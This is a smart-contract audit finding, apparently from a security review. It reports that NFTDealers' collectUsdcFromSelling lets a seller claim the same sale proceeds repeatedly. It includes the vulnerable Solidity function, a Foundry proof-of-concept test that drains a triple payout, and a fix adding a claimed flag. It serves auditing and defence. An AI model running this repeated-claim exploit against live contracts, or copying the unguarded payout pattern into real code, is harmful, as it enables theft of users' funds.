Root + Impact
NFTDealers::collectUsdcFromSelling() does not consume the seller’s claim state for a sold listing, the same seller can repeatedly
withdraw the same payout from the contract.
Description
-
The intended behavior is that once a listed NFT is sold, the seller should be able to collect the sale proceeds exactly once, receiving the sale amount minus fees plus any locked collateral tied to minting. After that payout is made, the listing should no longer allow further withdrawals.
-
The issue is that collectUsdcFromSelling() only verifies that the listing is inactive and that the caller is the recorded seller. It then recomputes the payout from listing.price and collateralForMinting[listing.tokenId], but it never marks the sale as claimed and never clears the collateral after paying it out. As a result, the seller can call the function again and receive the same payout multiple times as long as the contract still holds enough USDC.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
@> totalFeesCollected += fees;
@> amountToSeller += collateralToReturn;
@> usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood: High
-
The issue occurs after any successful sale.
-
The original seller remains permanently authorized to call the function, and no state change prevents repeated claims.
Impact: High
-
A seller can repeatedly withdraw the same sale proceeds and collateral, draining USDC held by the contract.
-
Each repeated claim also inflates totalFeesCollected, corrupting fee accounting.
Proof of Concept
The following test shows that after a successful sale, the seller can call collectUsdcFromSelling() multiple times for the same listing and receive the same payout each time.
function test_CollectUsdcFromSelling_CanBeCalledRepeatedly() public revealed whitelisted {
uint256 salePrice = 2_000e6;
uint256 fees = nftDealers.calculateFees(salePrice);
uint256 sellerPayout = salePrice - fees + LOCK_AMOUNT;
deal(address(usdc), seller, LOCK_AMOUNT);
vm.startPrank(seller);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(1, uint32(salePrice));
vm.stopPrank();
deal(address(usdc), buyer, salePrice);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), salePrice);
nftDealers.buy(1);
vm.stopPrank();
deal(address(usdc), address(nftDealers), 10_000e6);
uint256 sellerBalanceBefore = usdc.balanceOf(seller);
vm.prank(seller);
nftDealers.collectUsdcFromSelling(1);
vm.prank(seller);
nftDealers.collectUsdcFromSelling(1);
vm.prank(seller);
nftDealers.collectUsdcFromSelling(1);
assertEq(usdc.balanceOf(seller) - sellerBalanceBefore, sellerPayout * 3);
}
Recommended Mitigation
Record that the seller has already claimed proceeds for a listing before transferring funds, and clear the collateral returned
as part of that payout so the same listing cannot be collected again.
+ mapping(uint256 => bool) public proceedsClaimed;
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!proceedsClaimed[_listingId], "Proceeds already claimed");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ proceedsClaimed[_listingId] = true;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}